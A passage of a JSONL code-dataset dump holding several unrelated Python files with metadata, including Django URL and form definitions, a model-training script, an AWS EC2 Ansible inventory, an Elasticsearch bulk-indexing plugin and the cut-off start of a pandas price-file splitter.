rtts.get_best_routes(all_ttimes_summary, '', '')\n\n#%%\n# print 8 best routes\nrtts.print_best_route_info(best_routes, target_info)\n\n#%%\n", "sub_path": "demo/optimize_route.py", "file_name": "optimize_route.py", "file_ext": "py", "file_size_in_byte": 1277, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "geopandas.read_file", "line_number": 13, "usage_type": "call"}, {"api_name": "utils.travel_times.gather_target_info", "line_number": 19, "usage_type": "call"}, {"api_name": "utils.travel_times", "line_number": 19, "usage_type": "name"}, {"api_name": "utils.travel_times.get_tt_between_targets_matrix", "line_number": 24, "usage_type": "call"}, {"api_name": "utils.travel_times", "line_number": 24, "usage_type": "name"}, {"api_name": "utils.routes_tt.get_target_permutations", "line_number": 28, "usage_type": "call"}, {"api_name": "utils.routes_tt", "line_number": 28, "usage_type": "name"}, {"api_name": "utils.routes_tt.get_all_ttimes", "line_number": 32, "usage_type": "call"}, {"api_name": "utils.routes_tt", "line_number": 32, "usage_type": "name"}, {"api_name": "utils.routes_tt.calculate_total_ttimes", "line_number": 36, "usage_type": "call"}, {"api_name": "utils.routes_tt", "line_number": 36, "usage_type": "name"}, {"api_name": "utils.routes_tt.get_best_routes", "line_number": 40, "usage_type": "call"}, {"api_name": "utils.routes_tt", "line_number": 40, "usage_type": "name"}, {"api_name": "utils.routes_tt.print_best_route_info", "line_number": 44, "usage_type": "call"}, {"api_name": "utils.routes_tt", "line_number": 44, "usage_type": "name"}]} +{"seq_id": "252982748", "text": "#import matplotlib as plt\nimport matplotlib.pyplot as plt\n\nplt.style.use('seaborn-dark')\ninput_values=[1,2,3,4,5]\nsquares=[1,4,9,16,25]\nfig,ax=plt.subplots()\nax.plot(input_values,squares,linewidth=3)\n#ax.plot(squares,linewidth=3)\n\nax.set_title(\"square\",fontsize=14)\nax.set_xlabel(\"X\",fontsize=14)\nax.set_ylabel(\"Y\",fontsize=14)\n\nax.tick_params(axis='both',labelsize=14)\n#ax.plot(squares)\nplt.show()\n", "sub_path": "莫凡/书283-1.py", "file_name": "书283-1.py", "file_ext": "py", "file_size_in_byte": 399, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "matplotlib.pyplot.style.use", "line_number": 4, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.style", "line_number": 4, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 4, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 7, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 7, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 17, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 17, "usage_type": "name"}]} +{"seq_id": "231706585", "text": "from django.urls import path\nfrom . import views\n\napp_name = \"students\"\nurlpatterns = [\n # Url patterns for students\n path(\"\", views.students, name=\"students\"),\n path(\"new-student\", views.new_student, name=\"new_student\"),\n path(\"new-student-sheet\", views.new_student_sheet, name=\"new_student_sheet\"),\n path(\"student-edit/\", views.edit_student, name=\"edit_student\"),\n path(\"delete-student\", views.delete_student, name=\"delete_student\"),\n path(\"student-detail/\", views.student_detail, name=\"student_detail\"),\n path(\"promotion\", views.promotion, name=\"promotion\"),\n\n # Url patterns for classes\n path(\"classes\", views.classes, name=\"classes\"),\n path(\"new-class\", views.new_class, name=\"new_class\"),\n path(\"class-edit/\", views.edit_class, name=\"edit_class\"),\n path(\"delete-class\", views.delete_class, name=\"delete_class\"),\n path(\"class-detail/\", views.class_detail, name=\"class_detail\"),\n\n # Url patterns for subjects\n path(\"subjects\", views.subjects, name=\"subjects\"),\n path(\"new-subject\", views.new_subject, name=\"new_subject\"),\n path(\"new-subject-sheet\", views.new_subject_sheet, name=\"new_subject_sheet\"),\n path(\"delete-subject\", views.delete_subject, name=\"delete_subject\"),\n path(\"subject-detail/\", views.subject_detail, name=\"subject_detail\"),\n path(\"subject-edit/\", views.edit_subject, name=\"edit_subject\"),\n\n # Url patterns for courses\n path(\"courses\", views.courses, name=\"courses\"),\n path(\"new-course\", views.new_course, name=\"new_course\"),\n path(\"new-course-sheet\", views.new_course_sheet, name=\"new_course_sheet\"),\n path(\"delete-course\", views.delete_course, name=\"delete_course\"),\n path(\"course-detail/\", views.course_detail, name=\"course_detail\"),\n path(\"course-edit/\", views.edit_course, name=\"edit_course\"),\n\n # Url patterns for house_masters\n path(\"house_masters\", views.house_masters, name=\"house_masters\"),\n path(\"new-house-master\", views.new_house_master, name=\"new_house_master\"),\n path(\"new-house_master-sheet\", views.new_house_master_sheet, name=\"new_house_master_sheet\"),\n path(\"delete-house-master\", views.delete_house_master, name=\"delete_house_master\"),\n path(\"house-master-detail/\", views.house_master_detail, name=\"house_master_detail\"),\n path(\"house-master-edit/\", views.edit_house_master, name=\"edit_house_master\"),\n\n # Url patterns for records\n path(\"records\", views.records, name=\"records\"),\n path(\"generate-record-sheet\", views.generate_record_sheet, name=\"generate_record_sheet\"),\n path(\"download-generated-record-sheet\", views.download_generated_record_sheet, name=\"download_generated_record_sheet\"),\n path(\"upload-record-sheet\", views.upload_record_sheet, name=\"upload_record_sheet\"),\n path(\"edit-record\", views.edit_record, name=\"edit_record\"),\n \n # Url patterns for grading systems\n path(\"grading-systems\", views.grading_systems, name=\"grading_systems\"),\n path(\"new-grading-system\", views.new_grading_system, name=\"new_grading_system\"),\n path(\"grading-system-edit/\", views.edit_grading_system, name=\"edit_grading_system\"),\n path(\"delete-grading-system\", views.delete_grading_system, name=\"delete_grading_system\"),\n]\n\n\n\n\n\n\n", "sub_path": "students/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 3397, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "django.urls.path", "line_number": 7, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 8, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 9, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 10, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 11, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 12, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 13, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 16, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 17, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 18, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 19, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 20, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 23, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 24, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 25, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 26, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 27, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 28, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 31, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 32, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 33, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 34, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 35, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 36, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 39, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 40, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 41, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 42, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 43, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 44, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 47, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 48, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 49, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 50, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 51, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 54, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 55, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 56, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 57, "usage_type": "call"}]} +{"seq_id": "12879446", "text": "# the relative path of the folder containing the dataset\nrelative_path = \"../../Dataset\"\n\n# model_tag is the name of the folder that the checkpoints folders will be saved in\n\nmodel_tag = \"baseline_cell\"\n\n# tunable parameters\nout_channels_structural = 512 # number of channels\nout_channels_cell_content = 512 # number of channels\nstructural_hidden_size = 128 # dimensions of hidden layer in structural decoder\nstructural_attention_size = 128 # dimensions of context vector in structural decoder\ncell_content_hidden_size = 256 # dimensions of hidden layer in cell decoder\ncell_content_attention_size = 128 # dimensions of ontext vector in structural decoder\n\n# fixed parameters\nin_channels = 512 # fixed in output from resnet, do not change\nstructural_embedding_size = 16 # determined from preprocessing, do not change\ncell_content_embedding_size = 80 # determined from preprocessing, do not change\n\n\n# set number of epochs\nepochs = 10\n#epochs = 25\n\n\n# make list of lambdas to use for each epoch in training\nlambda_ratio = 0.4\nlambdas = int(lambda_ratio * epochs) * [1.0] + int((1-lambda_ratio) * epochs) * [0.5]\n\n#lambdas = [1.0]*25 + 25*[1, 1, 0.5, 0.5]# for n in range(epochs)] # LAMBDA = 1 turns OFF cell decoder\n# if you want to run WITH cell decoder, you can uncomment the line below, remember to change epochs to 25\n#lambdas = [1 for _ in range(30)] + [0.5 for _ in range(70)]#+ [0.5 for _ in range(10)] + [0.5 for _ in range(2)]\n\n\n# make list of learning rate to use for each epoch in training\nlrs = [0.001 for _ in range(epochs)] #+ [0.001]*25\n#lrs =[0.001 for n in range(20)]+ [0.0001 for _ in range(30)] + [0.00001 for _ in range(50)]# + [0.001 for _ in range(10)] + [0.0001 for _ in range(2)]\n#if you want to run WITH cell decoder, you can uncomment the line below, rembember to change epochs to 25\n#lrs = [0.001 for _ in range(10)] + [0.0001 for _ in range(3)] + [0.001 for _ in range(10)] + [0.0001 for _ in range(2)]\n\n# Number of examples to include in the training set\nnumber_examples=10\n\n# Number of examples to include in validation set\nnumber_examples_val=10 # not used if val==None\n\n# size of batches\nbatch_size=10\nbatch_size_val = 10\n\n# number of examples in each preprocessed file\nstorage_size=1000 # fixed, do not change\n\n# whether to calculate the validation loss\nf = 0\nval = f*[False]+(epochs-f)*[True]#, False, True, True]\n\nmaxT_val = 200\n\nalpha_c_struc = 0.0\nalpha_c_cell_content = 0.0\n\n# import model\nfrom Model import Model\n\n# instantiate model\nmodel = Model(relative_path,\n model_tag,\n in_channels = in_channels,\n out_channels_structural = out_channels_structural,\n out_channels_cell_content = out_channels_cell_content,\n structural_embedding_size=structural_embedding_size,\n structural_hidden_size=structural_hidden_size,\n structural_attention_size=structural_attention_size,\n cell_content_embedding_size=cell_content_embedding_size,\n cell_content_hidden_size=cell_content_hidden_size,\n cell_content_attention_size=cell_content_attention_size)\n\n#model.load_checkpoint(file_path=\"overtrained1example.pth.tar\")\n\n# train model\n\nloss,loss_s, loss_cc, loss_val, loss_s_val, loss_cc_val = model.train(epochs=epochs,\n lambdas=lambdas,\n lrs=lrs,\n number_examples=number_examples,\n number_examples_val=number_examples_val,\n batch_size=batch_size,\n batch_size_val = batch_size_val,\n storage_size=storage_size,\n val = val,\n maxT_val = maxT_val,\n alpha_c_struc = alpha_c_struc,\n alpha_c_cell_content = alpha_c_cell_content)\n\n\n\nfrom matplotlib import pylab as plt\nplt.plot(loss, label = 'training loss')\nplt.plot(loss_val, label = 'validation loss')\nplt.legend()\nplt.savefig('epochs_loss.png')\n", "sub_path": "BaseModel_pytorch/Test-Model.py", "file_name": "Test-Model.py", "file_ext": "py", "file_size_in_byte": 3881, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "Model.Model", "line_number": 68, "usage_type": "call"}, {"api_name": "matplotlib.pylab.plot", "line_number": 100, "usage_type": "call"}, {"api_name": "matplotlib.pylab", "line_number": 100, "usage_type": "name"}, {"api_name": "matplotlib.pylab.plot", "line_number": 101, "usage_type": "call"}, {"api_name": "matplotlib.pylab", "line_number": 101, "usage_type": "name"}, {"api_name": "matplotlib.pylab.legend", "line_number": 102, "usage_type": "call"}, {"api_name": "matplotlib.pylab", "line_number": 102, "usage_type": "name"}, {"api_name": "matplotlib.pylab.savefig", "line_number": 103, "usage_type": "call"}, {"api_name": "matplotlib.pylab", "line_number": 103, "usage_type": "name"}]} +{"seq_id": "503417171", "text": "#!/usr/bin/env python3\n\nimport json\n\nimport boto3\nfrom botocore.config import Config\nimport os\n\nregions = [\n 'eu-central-1',\n]\n\nfilters = [\n {'Name': 'tag:Environment', 'Values': ['testnet']},\n {'Name': 'tag:Project', 'Values': ['example']},\n {'Name': 'tag:Team', 'Values': ['eth2']},\n {'Name': 'instance-state-name', 'Values': ['running']},\n]\n\nboto3_session = boto3.session.Session(profile_name='sso')\n\ndef fetch_client_type(eth2client_type):\n if eth2_node_index == 104:\n I['explorer']['hosts'].append(node)\n I['forkmon']['hosts'].append(node)\n if eth2_node_index == 110:\n I['bootnode']['hosts'].append(node)\n if eth2_node_index % 4 == 0:\n eth2client_type = 'lighthouse'\n elif local_index % 4 == 1:\n eth2client_type = 'prysm'\n elif local_index % 4 == 2:\n eth2client_type = 'teku'\n else:\n eth2client_type = 'nimbus'\n return eth2client_type\n\nI = {\n '_meta': {\n 'hostvars': {}\n },\n 'all': {\n 'hosts': [\n\n ],\n 'children': [\n 'ungrouped',\n 'metrics',\n 'eth2stats_server',\n 'bootnode',\n 'forkmon'\n 'eth2client',\n 'beacon',\n 'validator',\n ]\n },\n 'metrics': {\n 'hosts': [],\n 'vars': {}\n },\n 'eth2stats_server': {\n 'hosts': []\n },\n 'explorer': {\n 'hosts': []\n },\n 'forkmon': {\n 'hosts': []\n },\n 'bootnode': {\n 'hosts': []\n },\n 'beacon': {\n 'hosts': [],\n },\n 'validator': {\n 'hosts': [],\n },\n 'eth2client': {\n 'hosts': [],\n 'children': [\n 'eth2client_lighthouse',\n 'eth2client_nimbus',\n 'eth2client_prysm',\n 'eth2client_teku'\n ]\n },\n 'eth2client_lighthouse': {\n 'hosts': [],\n },\n 'eth2client_nimbus': {\n 'hosts': [],\n },\n 'eth2client_prysm': {\n 'hosts': [],\n },\n 'eth2client_teku': {\n 'hosts': [],\n },\n 'ungrouped': {\n 'children': [\n ]\n }\n}\n\neth2_clients = [\n 'lighthouse',\n 'nimbus',\n 'prysm',\n 'teku'\n]\n\nfor reg in regions:\n for cl in eth2_clients:\n I[f'eth2client_{cl}_{reg.replace(\"-\", \"_\")}'] = {'hosts': []}\n I[f'eth2client_all_{reg.replace(\"-\", \"_\")}'] = {'hosts': []}\n\n\n\ndef get_instances():\n for r in regions:\n ec2 = boto3_session.resource('ec2', region_name=r)\n instances = ec2.instances.filter(Filters=filters)\n for i in instances:\n yield i\n\nfor i in get_instances():\n name = i.id\n role = 'unknown'\n node_size = None\n for tag in i.tags:\n if tag['Key'] == 'Name':\n name = tag['Value']\n if tag['Key'] == 'Role':\n role = tag['Value']\n if tag['Key'] == 'NodeSize':\n node_size = tag['Value']\n\n\n # TODO: filter nodes by tag, so we can have more than just beacon nodes in this dynamic inventory.\n if role == 'eth2_bootnode':\n I['bootnode']['hosts'].append(name)\n else:\n I['beacon']['hosts'].append(name)\n I['validator']['hosts'].append(name)\n\n I['all']['hosts'].append(name)\n region = str(i.placement['AvailabilityZone'])\n region = region[:region.rindex('-') + 2] # strip of the a, b, whatever zone suffix from the region\n\n parts = name.split('-')\n node_id = int(parts[-1])\n\n I['_meta']['hostvars'][name] = {\n 'ansible_host': i.public_ip_address, # ip that we use for ansible work.\n 'public_ip_address': i.public_ip_address, # ip that we use for p2p / configs / etc., generally the same\n 'region': region,\n # store the node_id, used later for building eth2stats display names etc.\n 'eth2_node_index': node_id,\n 'node_size': node_size,\n 'display_emoji': \"example\" + str(node_id),\n }\n\nbeacons = I['beacon']['hosts']\n\nfor node in beacons:\n eth2_node_index = I['_meta']['hostvars'][node]['eth2_node_index']\n group_index = (eth2_node_index // 100)\n local_index = (eth2_node_index % 100)\n\n eth2client_type = fetch_client_type(eth2_node_index)\n\n I['eth2client_' + eth2client_type]['hosts'].append(node)\n\nbootnodes = I['bootnode']['hosts']\nfor node in bootnodes:\n # Node names are formatted like 'eth2-inventory-example-402'\n # hundreds = match region index (starting at 1)\n # rest is node index within region.\n parts = node.split('-')\n node_id = int(parts[-1])\n # make sure we correctly identify the node region\n assert node_id // 100 == regions.index(region) + 1\n # store the node_id, used later for building eth2stats display names etc.\n I['_meta']['hostvars'][node]['bootnode_index'] = node_id\n I['_meta']['hostvars'][node]['bootnode_p2p_priv_key'] = os.getenv(f\"BOOTNODE_PRIV\")\n\n\ndef get_node_public_ips(groupname):\n for n in I[groupname]['hosts']:\n yield n, I['_meta']['hostvars'][n]['public_ip_address']\n\ndef get_client_ips(client):\n return get_node_public_ips('eth2client_' + client)\n\ndef get_client_metrics_targets(client):\n for node, ip in get_client_ips(client):\n yield f'{ip}:8100'\n yield f'{ip}:8080'\n\nprint(json.dumps(I, indent=4))", "sub_path": "example-testnet/inventory/dynamic.py", "file_name": "dynamic.py", "file_ext": "py", "file_size_in_byte": 5197, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "boto3.session.Session", "line_number": 20, "usage_type": "call"}, {"api_name": "boto3.session", "line_number": 20, "usage_type": "attribute"}, {"api_name": "os.getenv", "line_number": 186, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 201, "usage_type": "call"}]} +{"seq_id": "245949373", "text": "from collections import defaultdict\n\nimport elasticsearch\nfrom elasticsearch import helpers\n\nfrom monolith.aggregator.plugins import Plugin\n\n\nclass ESSetup(object):\n\n def __init__(self, client):\n self.client = client\n\n def _default_settings(self):\n return {\n 'settings': {\n 'refresh_interval': '10s',\n 'default_field': '_id',\n 'analysis': {\n 'analyzer': {\n 'default': {\n 'type': 'custom',\n 'tokenizer': 'keyword',\n },\n },\n },\n 'store': {\n 'compress': {\n 'stored': 'true',\n 'tv': 'true',\n },\n },\n 'cache': {\n 'field': {\n 'type': 'soft',\n },\n },\n },\n 'mappings': {\n '_default_': {\n '_all': {'enabled': False},\n 'dynamic_templates': [{\n 'disable_string_analyzing': {\n 'match': '*',\n 'match_mapping_type': 'string',\n 'mapping': {\n 'type': 'string',\n 'index': 'not_analyzed',\n },\n },\n }],\n },\n },\n }\n\n def configure_templates(self):\n # setup template for time-slice index\n try:\n res = self.client.indices.get_template(name='time_1')\n except elasticsearch.ElasticsearchException:\n res = None\n if res: # pragma: no cover\n try:\n self.client.indices.delete_template(name='time_1')\n except elasticsearch.ElasticsearchException:\n pass\n time_settings = self._default_settings()\n time_settings['template'] = '*time_*'\n time_settings['settings']['number_of_shards'] = 1\n time_settings['settings']['number_of_replicas'] = 1\n self.client.indices.put_template(name='time_1', body=time_settings)\n\n def optimize_index(self, index):\n \"\"\"Fully optimize an index down to one segment.\"\"\"\n return self.client.indices.optimize(\n index=index, max_num_segments=1, wait_for_merge=True)\n\n\nclass ESWrite(Plugin):\n\n def __init__(self, **options):\n self.options = options\n self.url = options['url']\n self.prefix = options.get('prefix', '')\n self.client = elasticsearch.Elasticsearch(hosts=[self.url])\n self.setup = ESSetup(self.client)\n self.setup.configure_templates()\n\n def _index_name(self, date):\n return '%stime_%.4d-%.2d' % (self.prefix, date.year, date.month)\n\n def _bulk_index(self, index, doc_type, docs, id_field='id'):\n actions = [\n {'_index': index, '_type': doc_type, '_id': doc.pop(id_field),\n '_source': doc} for doc in docs]\n\n return helpers.bulk(self.client, actions)\n\n def inject(self, batch):\n holder = defaultdict(list)\n # sort data into index/type buckets\n for source_id, item in batch:\n # XXX use source_id as a key with dates for updates\n item = dict(item)\n date = item['date']\n index = self._index_name(date)\n _type = item.pop('_type')\n holder[(index, _type)].append(item)\n\n # submit one bulk request per index/type combination\n for key, docs in holder.items():\n actions = [\n {'_index': key[0], '_type': key[1], '_id': doc.pop('_id'),\n '_source': doc} for doc in docs]\n resp = helpers.bulk(self.client, actions)\n for res in resp[1]:\n if res['index'].get('ok'):\n continue\n error = res['index'].get('error')\n if error is not None:\n msg = 'Could not index %s' % str(docs[index])\n msg += '\\nES Error:\\n'\n msg += error\n msg += '\\n The data may have been partially imported.'\n raise ValueError(msg)\n\n def clear(self, start_date, end_date, source_ids):\n start_date_str = start_date.strftime('%Y-%m-%d')\n end_date_str = end_date.strftime('%Y-%m-%d')\n\n query = {'filtered': {\n 'query': {'match_all': {}},\n 'filter': {\n 'and': [\n {'range': {\n 'date': {\n 'gte': start_date_str,\n 'lte': end_date_str,\n },\n '_cache': False,\n }},\n {'terms': {\n 'source_id': source_ids,\n '_cache': False,\n }},\n ]\n }\n }}\n self.client.indices.refresh(index='%stime_*' % self.prefix)\n self.client.delete_by_query(index='%stime_*' % self.prefix, body=query)\n", "sub_path": "monolith/aggregator/plugins/es.py", "file_name": "es.py", "file_ext": "py", "file_size_in_byte": 5235, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "elasticsearch.ElasticsearchException", "line_number": 60, "usage_type": "attribute"}, {"api_name": "elasticsearch.ElasticsearchException", "line_number": 65, "usage_type": "attribute"}, {"api_name": "monolith.aggregator.plugins.Plugin", "line_number": 79, "usage_type": "name"}, {"api_name": "elasticsearch.Elasticsearch", "line_number": 85, "usage_type": "call"}, {"api_name": "elasticsearch.helpers.bulk", "line_number": 97, "usage_type": "call"}, {"api_name": "elasticsearch.helpers", "line_number": 97, "usage_type": "name"}, {"api_name": "collections.defaultdict", "line_number": 100, "usage_type": "call"}, {"api_name": "elasticsearch.helpers.bulk", "line_number": 115, "usage_type": "call"}, {"api_name": "elasticsearch.helpers", "line_number": 115, "usage_type": "name"}]} +{"seq_id": "624696333", "text": "from django import forms\nimport datetime\n\nfrom django.forms import SelectDateWidget\n\nfrom .models import Image,Test,Product,Pcomment,Category\n\n\nclass RstForm(forms.Form):\n\n subject = forms.CharField(\n max_length=20,\n widget=forms.TextInput(attrs={\n \"class\": \"form-control\",\n \"placeholder\": \"Your Name\"\n })\n )\n\n summary = forms.CharField(\n widget=forms.Textarea(\n attrs={\n \"class\": \"form-control\",\n \"placeholder\": \"Leave a comment!\",\n 'cols': 10, 'rows': 10\n })\n )\n # upload_date=forms.DateField(initial=datetime.date.today)\n upload_date=forms.DateField(widget=SelectDateWidget(empty_label=\"Nothing\"))\n #image = forms.ImageField(label=('Company Logo'), required=False, error_messages={'invalid':(\"Image files only\")}, widget=forms.FileInput)\n image=forms.ImageField()\n #sender = forms.EmailField(help_text='A valid email address, please.')\n\n METHOD = (\n ('C', 'cash'),\n ('B', 'card'),\n ('P', 'point'),\n )\n acount = forms.CharField(label='What is your bill?', widget=forms.Select(choices=METHOD))\n\n \"\"\"class Meta: #이 방식은 fields를 지정해 줘야 한다.\n model = Test\n fields = ('subject', 'image','summary','upload_date','acount')\"\"\" #forms.Form 을 상속했기에 meta는 필요없다.\n #하지만, forms.Form 을 상속했기에 일일이 widget을 지정해야 한다.\n\n\n\nclass ImageForm(forms.ModelForm):\n \"\"\"Form for the image model\"\"\"\n\n class Meta: #이 방식은 fields를 지정해 줘야 한다.\n model = Image\n fields = ('title', 'image')\n\n\nclass ProductForm(forms.ModelForm):\n \"\"\"serial_number = forms.CharField()\n name = forms.CharField(\n max_length=20,\n widget=forms.TextInput(attrs={\n \"class\": \"form-control\",\n \"placeholder\": \"Your Name\"\n })\n )\n\n body = forms.CharField(\n widget=forms.Textarea(\n attrs={\n \"class\": \"form-control\",\n \"placeholder\": \"Leave a comment!\",\n 'cols': 10, 'rows': 10\n })\n )\n # image = forms.ImageField(label=('Company Logo'), required=False, error_messages={'invalid':(\"Image files only\")}, widget=forms.FileInput)\n image = forms.ImageField()\n # sender = forms.EmailField(help_text='A valid email address, please.')\n price=forms.IntegerField()\n \"\"\"\n class Meta:\n model=Product\n fields=('serial_number','name','image','content','price','categories')\n\nclass PcommentForm(forms.ModelForm):\n class Meta:\n model=Pcomment\n fields=('name','content')\n\nclass CommentForm(forms.Form):\n author = forms.CharField(\n max_length=20,\n widget=forms.TextInput(attrs={\n 'size': 20,\n \"class\": \"form-control\",\n \"placeholder\": \"Your Name\"\n })\n )\n body = forms.CharField(\n widget=forms.Textarea(\n attrs={\n \"class\": \"form-control\",\n \"placeholder\": \"Leave a comment!\"\n })\n )\n", "sub_path": "mysqltest/realtest/forms.py", "file_name": "forms.py", "file_ext": "py", "file_size_in_byte": 3101, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "django.forms.Form", "line_number": 9, "usage_type": "attribute"}, {"api_name": "django.forms", "line_number": 9, "usage_type": "name"}, {"api_name": "django.forms.CharField", "line_number": 11, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 11, "usage_type": "name"}, {"api_name": "django.forms.TextInput", "line_number": 13, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 13, "usage_type": "name"}, {"api_name": "django.forms.CharField", "line_number": 19, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 19, "usage_type": "name"}, {"api_name": "django.forms.Textarea", "line_number": 20, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 20, "usage_type": "name"}, {"api_name": "django.forms.DateField", "line_number": 28, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 28, "usage_type": "name"}, {"api_name": "django.forms.SelectDateWidget", "line_number": 28, "usage_type": "call"}, {"api_name": "django.forms.ImageField", "line_number": 30, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 30, "usage_type": "name"}, {"api_name": "django.forms.CharField", "line_number": 38, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 38, "usage_type": "name"}, {"api_name": "django.forms.Select", "line_number": 38, "usage_type": "call"}, {"api_name": "django.forms.ModelForm", "line_number": 47, "usage_type": "attribute"}, {"api_name": "django.forms", "line_number": 47, "usage_type": "name"}, {"api_name": "models.Image", "line_number": 51, "usage_type": "name"}, {"api_name": "django.forms.ModelForm", "line_number": 55, "usage_type": "attribute"}, {"api_name": "django.forms", "line_number": 55, "usage_type": "name"}, {"api_name": "models.Product", "line_number": 79, "usage_type": "name"}, {"api_name": "django.forms.ModelForm", "line_number": 82, "usage_type": "attribute"}, {"api_name": "django.forms", "line_number": 82, "usage_type": "name"}, {"api_name": "models.Pcomment", "line_number": 84, "usage_type": "name"}, {"api_name": "django.forms.Form", "line_number": 87, "usage_type": "attribute"}, {"api_name": "django.forms", "line_number": 87, "usage_type": "name"}, {"api_name": "django.forms.CharField", "line_number": 88, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 88, "usage_type": "name"}, {"api_name": "django.forms.TextInput", "line_number": 90, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 90, "usage_type": "name"}, {"api_name": "django.forms.CharField", "line_number": 96, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 96, "usage_type": "name"}, {"api_name": "django.forms.Textarea", "line_number": 97, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 97, "usage_type": "name"}]} +{"seq_id": "115267308", "text": "# -*- coding: utf-8 -*-\nimport pandas as pd\nimport time\nimport os\nimport re\nimport sys\nfrom config.configuration import get_sale_price, init_files_manager, price_special_case_manager, filter_price_data\n\n\nclass PriceSplitHelper:\n def __init__(self):\n self.default_value = False\n self.site_to_store_dict = {\"BK\": \"BL\", \"WL\": \"WL\", \"TS\": \"TS\"}\n self.date_str = time.strftime(\"%Y%m%d\", time.localtime())\n self.root_path = os.path.dirname(__file__)\n self.price_save_name = None\n self.local_price_dir = None\n\n def _filter_merge_files(self, shop_name_abbr):\n files_manager = init_files_manager(self.root_path, shop_name_abbr, self.date_str)\n local_dir = files_manager.get(\"DownloadFilesDir\")\n self.local_price_dir = files_manager.get(\"PriceFilesDir\")\n self.price_save_name = files_manager.get(\"PriceSave\")\n price_columns = files_manager.get(\"PriceColumns\")\n reference_columns = files_manager.get(\"ReferenceColumns\")\n mix_price_list = pd.DataFrame(columns=price_columns)\n mix_reference_list = pd.DataFrame(columns=reference_columns)\n price_filter = \"{}_{}_{}.csv\".format(shop_name_abbr, \"price\", self.date_str).lower()\n\n reference_filter = \"{}_{}_{}.csv\".format(shop_name_abbr, \"reference\", self.date_str).lower()\n\n if os.path.exists(local_dir):\n all_files = os.listdir(local_dir)\n files = []\n for f in all_files:\n if re.search(r\"{}\".format(self.date_str), f):\n files.append(f)\n price_data_list = []\n reference_data_list = []\n for f in files:\n # if re.search(r\"price\", f):\n # price_file = os.path.join(local_dir, f)\n # price_data = pd.read_csv(price_file, delimiter=\"\\t\")\n # price_data_list.append(price_data)\n # # os.remove(price_file)\n # elif re.search(r\"reference\", f):\n # reference_file = os.path.join(local_dir, f)\n # reference_data = pd.read_csv(reference_file, delimiter=\"\\t\")\n # reference_data_list.append(reference_data)\n # # os.remove(reference_file)\n # else:\n # pass\n\n if f == price_filter:\n price_file = os.path.join(local_dir, f)\n price_data = pd.read_csv(price_file, delimiter=\"\\t\")\n price_data_list.append(price_data)\n os.remove(price_file)\n elif f == reference_filter:\n reference_file = os.path.join(local_dir, f)\n reference_data = pd.read_csv(reference_file, delimiter=\"\\t\")\n reference_data_list.append(reference_data)\n os.remove(reference_file)\n else:\n pass\n\n for price_data in price_data_list:\n if mix_price_list.empty:\n mix_price_list = price_data\n else:\n mix_price_list = 